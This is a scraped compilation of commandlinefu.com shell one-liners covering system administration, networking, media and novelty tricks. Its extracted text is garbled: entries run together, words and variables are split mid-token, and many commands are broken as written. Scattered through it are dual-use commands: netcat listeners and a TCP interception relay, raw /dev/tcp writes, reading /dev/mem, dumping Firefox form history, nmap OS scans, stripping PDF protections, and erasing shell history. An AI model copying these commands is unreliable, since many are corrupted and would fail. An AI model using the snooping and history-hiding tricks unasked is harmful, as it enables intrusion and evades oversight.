$.*$ <\/title.*name>$.*$<\/name>.*/\2 - \1/p"Search commandlinefu.com from the command line using the API $ cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo - n $@ | openssl base64)/plaintext"; } Processor / memory bandwidthd? in GB/s $ dd if=/dev/zero of=/dev/null bs=1M count=32768 pretend to be busy in office to enjoy a cup of coffee $ cat /dev/urandom | hexdump -C | grep "ca fe" Makes the permissions of file2 the same as file1 $ chmod --reference file1 file2 Remove security limitations from PDF documents using ghostscript $ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite - sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf Send pop-up notifications on Gnome $ notify-send ["<title>"] "<body>" (Debian/Ubuntu) Discover what package a file belongs to $ dpkg -S /usr/bin/ls Mount a .iso file in UNIX/Linux $ mount /path/to/file.iso /mnt/cdrom -oloop Remove a line in a text file. Useful to fix $ ssh-keygen -R <the_offending_host> To print a specific line from a file $ sed -n 5p <file> Open Finder from the current Terminal location $ open .Create a persistent connection to a machine $ ssh -MNf <user>@<host> Run a command only when load average is below a certain threshold $ echo "rm -rf /unwanted-but-large/folder" | batch Create a quick back-up copy of a file $ cp file.txt{,.bak} Start COMMAND, and kill it if still running after 5 seconds $ timeout 5s COMMAND Attach screen over ssh $ ssh -t remote_host screen -r Show a 4-way scrollable process tree with full details. $ ps awwfux | less -S List all bash shortcuts $ bind -P RTFM function $ rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search? q=$@"; } Eavesdrop on your system $ diff <( lsof -p 1234) <(sleep 10; lsof -p 1234) Remove all files previously extracted from a tar(.gz) file. $ tar -tf <file. tar.gz> | xargs rm -r Broadcast your shell thru ports 5000, 5001, 5002 ... $ script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)directly ssh to host B that is only accessible through host A $ ssh -t hostA ssh hostB which program is this port belongs to ? $ lsof -i tcp:80 What is my public IP-address? $ curl ifconfig.me Retry the previous command until it exits successfully $ until !!; do :; done Synchronize date and time with a server over ssh $ date --set="$(ssh user@server date)" Edit a google doc with vim $ google docs edit --title "To-Do List" -- editor vim Run a file system check on your next boot. $ sudo touch /forcefsck List only the directories $ ls -d */ Share a terminal screen with others $ % screen -r someuser/ Google text-to-speech in mp3 format $ wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts? ie=UTF-8&tl=en&q=hello+world Download all images from a site $ wget -r -l1 --no-parent -nH -nd -P/tmp - A".gif,.jpg" http://example.com/imagesDownload Youtube video with wget! $ wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed - n "/fmt_url_map/{s/[\'\"\|]/ /g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a - e '$q;N;5,$D;ba' | tr -d ' ' | sed -e 's/$.*$,$.$\{1,3\}/\1/' | wget -i - -O surprise.flv Python version 3: Serve current directory tree at http://$HOSTNAME:8000/ $ python -m http.server Get your outgoing IP address $ dig +short myip.opendns.com @resolver1.opendns.com Binary Clock $ watch -n 1 'echo "obase=2;`date +%s`" | bc' Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes. $ du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)} {sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $ 1>=2**10? ($1/2**10, "K"): ($1, "")}e' Duplicate installed packages from one machine to the other (RPM- based systems) $ ssh root@remote.host "rpm -qa" | xargs yum -y install Draw kernel module dependancy graph. $ lsmod | perl -e ' print "digraph \" lsmod\" {";<>;while(<>) {@_=split/\s+/; print "\"$_[0]\" -> \"$_\" " for split/,/,$_[3]} print "}"' | dot -Tpng | display - Compare two directory trees. $ diff <(cd dir1 && find | sort) <(cd dir2 && find | sort) Bring the word under the cursor on the :ex line in Vim $ :<C-R><C-W>Remind yourself to leave in 15 minutes $ leave +15 make directory tree $ mkdir -p work/{d1,d2}/{src,bin,bak} Convert Youtube videos to MP3 $ youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE Find out how much data is waiting to be written to disk $ grep ^Dirty /proc/meminfo Use tee to process a pipe with two or more processes $ echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_') Show apps that use internet connection at the moment. $ lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2 Backup all MySQL Databases to individual files $ for I in $(mysql -e 'show databases' -s --skip-column- names); do mysqldump $I | gzip > "$I.sql.gz"; done Port Knocking! $ knock <host> 3000 4000 5000 && ssh - p <port> user@host && knock <host> 5000 4000 3000 Add timestamp to history $ export HISTTIMEFORMAT="%F %T " Recursively change permissions on files, leave directories alone. $ find ./ -type f -exec chmod 644 {} \; Find files that have been modified on your system in the past 60 minutes $ sudo find / -mmin 60 -type fQuick access to ASCII code of a key $ showkey -a using `!#$' to referance backward-word $ cp /work/host/phone/ui/main. cpp !#$:s/host/target Search recursively to find a word or phrase in certain file types, such as C code $ find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \; Intercept, monitor and manipulate a TCP connection. $ mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo Block known dirty hosts from reaching your machine $ wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables - A INPUT -s "$1" -j DROP"}' check site ssl certificate dates $ echo | openssl s_client -connect www.google.com:443 2>/dev/null | openssl x509 -dates -noout find files in a date range $ find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01" Control ssh connection $ [enter]~? run complex remote shell cmds over ssh, without escaping quotes $ ssh host -l user $(<cmd.txt) Create a directory and change into it at the same time $ md () { mkdir -p "$@" && cd "$@"; }Colorized grep in less $ grep --color=always | less -R Exclude multiple columns using AWK $ awk '{$1=$3=""}1' file ls not pattern $ ls !(*.gz) output your microphone to a remote computer's speaker $ arecord -f dat | ssh -C user@host aplay -f dat analyze traffic remotely over ssh w/ wireshark $ ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i - Given a file path, unplug the USB device on which the file is located (the file must be on an USB device !) $ echo $( sudo lshw -businfo | grep -B 1 -m 1 $(df "/path/to/file" | tail -1 | awk '{print $1}' | cut -c 6-8) | head -n 1 | awk '{print $1}' | cut -c 5- | tr ":" "- ") | sudo tee /sys/bus/usb/drivers/usb/unbind Remove a line in a text file. Useful to fix "ssh host key change" warnings $ sed -i 8d ~/.ssh/known_hosts Save a file you edited in vim without the needed permissions (no echo) $ :w !sudo tee > /dev/null % Remove blank lines from a file using grep and save output to new file $ grep . filename > newfilename delete a line from your shell history $ history -dGet the IP of the host your coming from when logged in remotely $ echo ${SSH_CLIENT%% *} Random Number Between 1 And X $ echo $[RANDOM%X+1] Lists all listening ports together with the PID of the associated process $ lsof -Pan -i tcp -i udp easily find megabyte eating files or directories $ alias dush="du -sm *|sort -n|tail" Exclude .svn, .git and other VCS junk for a pristine tarball $ tar --exclude-vcs -cf src. tar src/ exit without saving history $ kill -9 $$ How to establish a remote Gnu screen session that you can re-connect to $ ssh -t user@some.domain.com /usr/bin/screen -xRR Copy a MySQL Database to a new Server via SSH with one command $ mysqldump --add-drop-table --extended-insert --force --log-error=error.log - uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER - pPASS NEW_DB_NAME" Convert PDF to JPG $ for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 - interlace none -density 300 -quality 80 $ file `echo $ file | sed 's/\.pdf$/\.jpg/'`; done Find usb device $ diff <(lsusb) <(sleep 3s && lsusb)find all file larger than 500M $ find / -type f -size +500M notify yourself when a long-running command which has ALREADY STARTED is finished $ <ctrl+z> fg; notify_me Create colorized html file from Vim or Vimdiff $ :TOhtml live ssh network throughput test $ yes | pv | ssh $host "cat > /dev/null" Create a nifty overview of the hardware in your computer $ lshw -html > hardware.html Save your sessions in vim to resume later $ :mksession! <filename> Tell local Debian machine to install packages used by remote Debian machine $ ssh remotehost ' dpkg --get-selections' | dpkg --set- selections && dselect install Bind a key with a command $ bind -x '"\C-l":ls -l' Take screenshot through SSH $ DISPLAY=:0.0 import -window root /tmp/shot.png intersection between two files $ grep -Fx -f file1 file2 GREP a PDF file. $ pdftotext [file] - | grep 'YourPattern'Colorful man $ apt-get install most && update-alternatives --set pager /usr/bin/ most copy working directory and compress it on-the-fly while showing progress $ tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz prints line numbers $ nl convert unixtime to human-readable $ date -d @1234567890 A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram $ sudo strings /dev/mem Diff on two variables $ diff <(echo "$a") <(echo "$b") Prettify an XML file $ tidy -xml -i -m [file] Encrypted archive with openssl and tar $ tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file> Convert seconds into minutes and seconds $ bc <<< 'obase=60;299' Alias HEAD for automatic smart output $ alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))' Pipe stdout and stderr, etc., to separate commands $ some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)Manually Pause/Unpause Firefox Process with POSIX-Signals $ killall -STOP -m firefox Gets a random Futurama quote from /. $ curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2 Use lynx to run repeating website actions $ lynx -accept_all_cookies -cmd_script=/your/keystroke-file runs a bash script in debugging mode $ bash -x ./post_to_commandlinefu.sh Instead of writing a multiline if/then/else/fi construct you can do that by one line $ [[ test_condition ]] && if_true_do_this || otherwise_do_that Display a list of committers sorted by the frequency of commits $ svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr check the status of 'dd' in progress (OS X) $ CTRL + T A child process which survives the parent's death (for sure) $ ( command & ) prevent accidents while using wildcards $ rm *.txt <TAB> <TAB> Opens vi/vim at pattern in file $ vi +/pattern [file] April Fools' Day Prank $ PROMPT_COMMAND='if [ $RANDOM - le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RAND OM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'Press Any Key to Continue $ read -sn 1 -p "Press any key to continue..." Get your external IP address $ curl ip.appspot.com List installed deb packages by size $ dpkg-query -Wf '${Installed-Size}\t${Package} ' | sort -n backup all your commandlinefu.com favourites to a plaintext file $ clfavs(){ URL="http://www.commandlinefu.com"; wget -O - --save- cookies c --post- data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;fo r i in `seq 0 25 $3`;do wget -O - --load- cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;} send echo to socket network $ echo "foo" > /dev/tcp/192.168.1.2/25 Schedule a script or command in x num hours, silently run in the background even if logged out $ ( ( sleep 2h; your-command your-args ) & ) Go to parent directory of filename edited in last command $ cd !$:h Draw a Sierpinski triangle $ perl -e 'print "P1 256 256 ", map {$_&($_>>8)?1:0} (0..0xffff)' | display Run a long job and notify me when it's finished $ ./my-really-long-job.sh && notify-send "Job finished" Make anything more awesome $ command | figletList all files opened by a particular command $ lsof -c dhcpd Nicely display permissions in octal format with filename $ stat -c '%A %a %n' * recursive search and replace old with new string, inside files $ $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/' shut of the screen. $ xset dpms force standby Create a single-use TCP (or UDP) proxy $ nc -l -p 2000 -c " nc example.org 3000" read manpage of a unix command as pdf in preview (Os X) $ man -t UNIX_COMMAND | open -f -a preview Switch 2 characters on a command line. $ ctrl-t List the number and type of active network connections $ netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c Use file(1) to view device information $ file -s /dev/sd* exclude a column with cut $ cut -f5 --complement Recover a deleted file $ grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txtInsert the last argument of the previous command $ <ESC> . View the newest xkcd comic. $ xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(? <=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(? =" alt)';} Create an audio test CD of sine waves from 1 to 99 Hz $ ( echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda - r44100 - c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; d one) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc Remove color codes (special characters) with sed $ sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g" throttle bandwidth with cstream $ tar -cj /backup | cstream -t 777k | ssh host ' tar -xj -C /backup' When feeling down, this command helps $ sl Brute force discover $ sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/ for invalid user/{a[$9]++}/Failed password for in valid user/{a["*" $11]++}END{ for (i in a) printf "%6s\t%s ", a[i], i|"sort -n"}' find geographical location of an ip address $ lynx -dump http://www.ip-adress.com/ip_tracer/? QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8} '|sed 's\ip address flag \\'|sed 's\My\\' Speed up launch of firefox $ find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;Create strong, but easy to remember password $ read -s pass; echo $pass | md5sum | base64 | cut -c -16 format txt as table not joining empty columns $ column -tns: /etc/passwd Find Duplicate Files (based on size first, then MD5 hash) $ fdupes -r . Shell recorder with replay $ script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL- D>; scriptreplay /tmp/mylog.time /tmp/mylog.out Bind a key with a command $ bind '"\C-l":"ls -l "' List files with quotes around each filename $ ls -Q Makes you look busy $ alias busy='my_file=$(find /usr/include -type f | sort -R | head - n 1); my_len=$(wc -l $my_file | awk " {print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file' Duplicate several drives concurrently $ dd if=/dev/sda | tee >( dd of=/dev/sdb) | dd of=/dev/sdc Listen to BBC Radio from the command line. $ bbcradio() { local s PS3="Select a station: "; select s in 1 1x 2 3 4 5 6 7 " A sian Network an" "Nation s & Local lcl";do break;done; s=($ s);mplayer - playli st "http://www.bbc.co.uk/radio/li sten/live/r"${ s[@]: -1}".a sx";} Monitor bandwidth by pid $ nethogs -p eth0Execute a command with a timeout $ timeout 10 sleep 11 use vim to get colorful diff output $ svn diff | view - find files containing text $ grep -lir "some text" * Quickly graph a list of numbers $ gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines") Perform a branching conditional $ true && { echo success;} || { echo failed; } Resume scp of a big file $ rsync --partial --progress -- rsh=ssh $file_source $user@$host:$destination_file Use tee + process substitution to split STDOUT to multiple commands $ some_command | tee >(command1) >(command2) >(command3) ... | command4 Analyse an Apache access log for the most common IP addresses $ tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail Annotate tail -f with timestamps $ tail -f file | while read; do echo "$(date +%T.%N) $REPLY"; done Fast, built-in pipe-based data sink $ <COMMAND> |: Generate an XKCD #936 style 4 word password $ shuf -n4 /usr/share/dict/words | tr -d ' 'Repoint an existing symlink to a new location $ ln -nsf <TARGET> <LINK> GRUB2: set Super Mario as startup tune $ echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee - a /etc/default/grub > /dev/null && sudo update-grub Diff remote webpages using wget $ diff <(wget -q -O - URL1) <(wget -q -O - URL2) Close a hanging ssh session $ ~. processes per user counter $ ps hax -o user | sort | uniq -c convert filenames in current directory to lowercase $ rename 'y/A-Z/a-z/' * Find files that were modified by a given command $ touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string' $ tr : ' ' <<<$PATH Cut out a piece of film from a file. Choose an arbitrary length and starting time. $ ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 - t 0:0:20 newfile List of commands you use most often $ history | awk '{print $2}' | sort | uniq -c | sort -rn | headEfficiently print a line deep in a huge log file $ sed '1000000!d;q' < massive-log-file.log prevent large files from being cached in memory (backups!) $ nocache <I/O-heavy-command> Check if system is 32bit or 64bit $ getconf LONG_BIT dmesg with colored human-readable dates $ dmesg -T|sed -e 's|$^.*'`date +%Y`']$$.*$|\x1b[0;34m\1\x1b[0m - \2|g' convert single digit to double digits $ for i in ?.ogg; do mv $i 0$i; done Limit the cpu usage of a process $ sudo cpulimit -p pid -l 50 Rapidly invoke an editor to write a long, complex, or tricky command $ <ESC> v or ctrl-x ctrl-e Single use vnc-over-ssh connection $ ssh -f -L 5900:localhost:5900 your. ssh.server "x11vnc -safer -localhost - nopw -once -display :0"; vinagre localhost:5900 List alive hosts in specific subnet $ nmap -sP 192.168.1.0/24 View all date formats, Quick Reference Help Alias $ alias dateh=' date --help|sed - n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"' "'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'your terminal sings $ echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down , pass it around, one less bottle of beer on the wall,, " | espeak -v english - s 140 Make sure a script is run in a terminal. $ [ -t 0 ] || exit 1 Matrix Style $ echo - e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($R ANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $ r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done Quickly (soft-)reboot skipping hardware checks $ /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" -- initrd=/boot/$INITRD; sync; /sbin/kexec -e pipe output of a command to your clipboard $ some command|xsel --clipboard Recursively compare two directories and output their differences on a readable format $ diff -urp /originaldirectory /modifieddirectory Find broken symlinks and delete them $ find -L /path/to/check -type l -delete ls -hog --> a more compact ls -l $ ls -hog git remove files which have been deleted $ git rm $( git ls-files --deleted)Silently ensures that a FS is mounted on the given mount point (checks if it's OK, otherwise unmount, create dir and mount) $ ( mountpoint -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1) || (( sudo u mount "/media/mpdr1" > /dev/null 2>&1 || true) && ( sudo mkdir "/media/mpdr1" > /dev/null 2>&1 || true) && sudo mount "/dev/sdd1" "/media/mpdr1") sniff network traffic on a given interface and displays the IP addresses of the machines communicating with the current host (one IP per line) $ sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{ print $1" "$2}' Create a local compressed tarball from remote host directory $ ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz df without line wrap on long FS name $ df -P | column -t send a circular $ wall <<< "Broadcast This" The BOFH Excuse Server $ telnet towel.blinkenlights.nl 666 dd with progress bar and statistics $ sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG I finally found out how to use notify-send with at or cron $ echo " export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify- send test" | at now+1minute See udev at work $ udevadm monitorBackup all MySQL Databases to individual files $ for db in $(mysql -e 'show databases' -s --skip-column- names); do mysqldump $db | gzip > "/backups/ mysqldump-$(hostname)-$db-$(date +%Y-%m-%d- %H.%M.%S).gz"; done Ultimate current directory usage command $ ncdu bash: hotkey to put current commandline to text-editor $ bash-hotkey: <CTRL+x+e> Show current working directory of a process $ pwdx pid Have an ssh session open forever $ autossh -M50000 -t server.example.com 'screen -raAd mysession' Base conversions with bc $ echo "obase=2; 27" | bc -l Put readline into vi mode $ set -o vi Transfer SSH public key to another machine in one step $ ssh-keygen; ssh-copy-id user@host; ssh user@host Start a command on only one CPU core $ taskset -c 0 your_command convert uppercase files to lowercase files $ rename 'y/A-Z/a-z/' * return external ip $ curl ipinfo.ioSimple multi-user encrypted chat server for 5 users $ ncat -vlm 5 --ssl --chat 9876 Check if your ISP is intercepting DNS queries $ dig +short which.opendns.com txt @208.67.220.220 Display current time in requested time zones. $ zdump Japan America/New_York Remove a range of lines from a file $ sed -i <file> -re '<start>,<end>d' Stamp a text line on top of the pdf pages. $ echo "This text gets stamped on the top of the pdf pages." | enscript -B - f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf Print diagram of user/groups $ awk 'BEGIN{FS=":"; print "digraph{"} {split($4, a, ","); for (i in a) printf "\"%s\" [shape=box] \"%s\" -> \"%s\" ", $1, a[i], $1}END{ print "}"}' /etc/group|display Create a file server, listening in port 7000 $ while true; do nc -l 7000 | tar -xvf -; done bypass any aliases and functions for the command $ \foo Share your terminal session real-time $ mkfifo foo; script -f foo stderr in color $ mycommand 2> >(while read line; do echo - e "\e[01;31m$line\e[0m"; done)VI config to save files with +x when a shebang is found on line 1 $ au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | end if | end if Create a single PDF from multiple images with ImageMagick $ convert *.jpg output.pdf Delete all empty lines from a file with vim $ :g/^$/d perl one-liner to get the current week number $ date +%V DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree $ find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h; ($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v -- List recorded formular fields of Firefox $ cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk - F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null Using awk to sum/count a column of numbers. $ cat count.txt | awk '{ sum+=$1} END {print sum}' Get all the keyboard shortcuts in screen $ ^A ? Get list of servers with a specific port open $ nmap -sT -p 80 -oG - 192.168.1.* | grep open Start a new command in a new screen window $ alia s s=' screen -X screen'; s top; s vi; s man l s;Notepad in a browser (type this in the URL bar) $ data:text/html, <html contenteditable> Extract audio from Flash video (*.flv) as mp3 file $ ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3 cat a bunch of small files with file indication $ grep . * Stop Flash from tracking everything you do. $ for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done send a circular $ echo "dear admin, please ban eribsskog" | wall List all open ports and their owning executables $ lsof -i -P | grep -i "listen" Purge configuration files of removed packages on debian based systems $ aptitude purge '~c' Monitor open connections for httpd including listen, count and sort it per IP $ watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1" Convert text to picture $ echo -e "Some Text Line1 Some Text Line 2" | convert -background none -density 196 -resample 72 - unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white - border 3 text.gif Remote screenshot $ DISPLAY=":0.0" import -window root screenshot.pngDefine words and phrases with google. $ define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search? q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities - pe 'decode_entities($_)' 2>/dev/null;} List all authors of a particular git project $ git log --format='%aN' | sort -u track flights from the command line $ flight_status() { if [[ $# - eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/Trac kByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d - d ${offset}day)" 2>/dev/null |html2text |grep ":"; } Harder, Faster, Stronger SSH clients $ ssh -4 -C -c blowfish-cbc Clean up poorly named TV shows. $ rename -v 's/.*[s,S](\d{2}).*[e,E] (\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi Pretty Print a simple csv in the command line $ column -s, -t <tmp.csv Cleanup firefox's database. $ find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \; Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image) $ mount -t ntfs-3g - o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd - n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1- 8) image.vdi /mnt/vdi-ntfs check open ports $ lsof -Pni4 | grep LISTENFind Duplicate Files (based on MD5 hash) $ find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate - w 33 | cut -c 35- Triple monitoring in screen $ tmpfile=$(mktemp) && echo -e 'startup_message off screen -t top h top split focus screen -t nethogs nethogs wlan0 split focus screen -t io top io top' > $tmpfile && sudo screen -c $tmpfile Print a great grey scale demo ! $ yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done Create a list of binary numbers $ echo {0..1}{0..1}{0..1}{0..1} Create a system overview dashboard on F12 key $ bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m""" Save an HTML page, and covert it to a .pdf file $ wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf & create an emergency swapfile when the existing swap space is getting tight $ sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000; sudo mkswap /swapfile; sudo swapon /swapfile Relocate a file or directory, but keep it accessible on the old location throug a simlink. $ mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1) disable history for current shell session $ unset HISTFILEa short counter $ yes '' | cat -n How to run X without any graphics hardware $ startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc Rsync remote data as root using sudo $ rsync -- rsync-path 'sudo rsync' username@source:/folder/ /local/ Convert all MySQL tables and fields to UTF8 $ mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 CO LLATE utf8_general_ci;"}' | mysql --database=dbname & Quickly generate an MD5 hash for a text string using OpenSSL $ echo -n 'text to be encrypted' | openssl md5 Pipe STDOUT to vim $ tail -1000 /some/file | vim - Copy stdin to your X11 buffer $ ssh user@host cat /path/to/some/file | xclip Get info about remote host ports and OS detection $ nmap -sS -P0 -sV -O <target> Copy a file structure without files $ find * -type d -exec mkdir /where/you/wantem/\{\} \; Get http headers for an url $ curl -I www.commandlinefu.com Count files beneath current directory (including subfolders) $ find . -type f | wc -lrandom git-commit message $ git commit -m "$(curl -s http://whatthecommit.com/index.txt)"; Generate QR code for a WiFi hotspot $ qrencode -s 7 -o qr-wifi.png "WIFI:S:$(zenity --entry -- text="Network name (SSID)" --title="Create WiFi QR");T:WPA;P:$(zenity -- password --title="Wifi Password");;" vi a remote file $ vi scp://username@host//path/to/somefile Show what PID is listening on port 80 on Linux $ fuser -v 80/tcp convert from hexidecimal or octal to decimal $ echo $((0x1fe)) $((033)) save man-page as pdf $ man -t awk | ps2pdf - awk.pdf Convert seconds into minutes and seconds $ echo 'obase=60;299' | bc List by size all of the directories in a given tree. $ du -h /path | sort -h List files accessed by a command $ strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\ [\\"nt])*)".*/$1/ && print' Find all the links to a file $ find -L / -samefile /path/to/file -exec ls -ld {} +Recover tmp flash videos (deleted immediately by the browser plugin) $ for h in `find /proc/*/fd -i lname "/tmp/Flash*" 2>/dev/null`; do ln - s "$h" `readlink "$h" | cut -d' ' -f1`; done rsync instead of scp $ rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 -- ipv4 user@domain.com:~/file.tgz . Visit wikileaks.com $ echo 213.251.145.96 wikileaks.com >>/etc/hosts Make sudo forget password instantly $ sudo -K Mirror a directory structure from websites with an Apache-generated file indexes $ lftp -e "mirror -c" http://example.com/foobar/ Quickly share code or text from vim to others. $ :w !curl -F "sprunge=<-" http://sprunge.us | xclip Print a row of characters across the terminal $ printf "%`tput cols`s"|tr ' ' '#' Limit bandwidth usage by apt-get $ sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade download and unpack tarball without leaving it sitting on your hard drive $ wget -qO - http://example.com/path/to/blah. tar.gz | tar xzf - Colored diff ( via vim ) on 2 remotes files on your local computer. $ vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server- bar.com//etc/snmp/snmpd.confTune your guitar from the command line. $ for n i n E2 A2 D3 G3 B3 E4;do play - n sy nth 4 pluck $ n repeat 2;do ne Split a tarball into multiple parts $ tar cf - <dir>|split -b<max_size>M - <name>. tar. Remove executable bit from all files in the current directory recursively, excluding other directories $ chmod -R -x+X * Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X $ for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0; for i in `seq $t 5`;do echo - e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0- 9]'`\e[0m";done;done More precise BASH debugging $ env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh - x /etc/profile get all pdf and zips from a website using wget $ wget --reject html,htm --accept pdf,zip -rl1 url Show me a histogram of the busiest minutes in a log file: $ cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf(" %s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' Smiley Face Bash Prompt $ PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\; 40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)" coloured tail $ tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g' Search for commands from the command line $ clfu-seach <search words>Install a Firefox add-on/theme to all users $ sudo firefox -install-global-extension /path/to/add-on clear current line $ CTRL+u Terminate a frozen SSH-session $ RETURN~. Backup a remote database to your local filesystem $ ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup- `date +%Y-%m-%d`.sql.gz Download an entire static website to your local machine $ wget --recursive 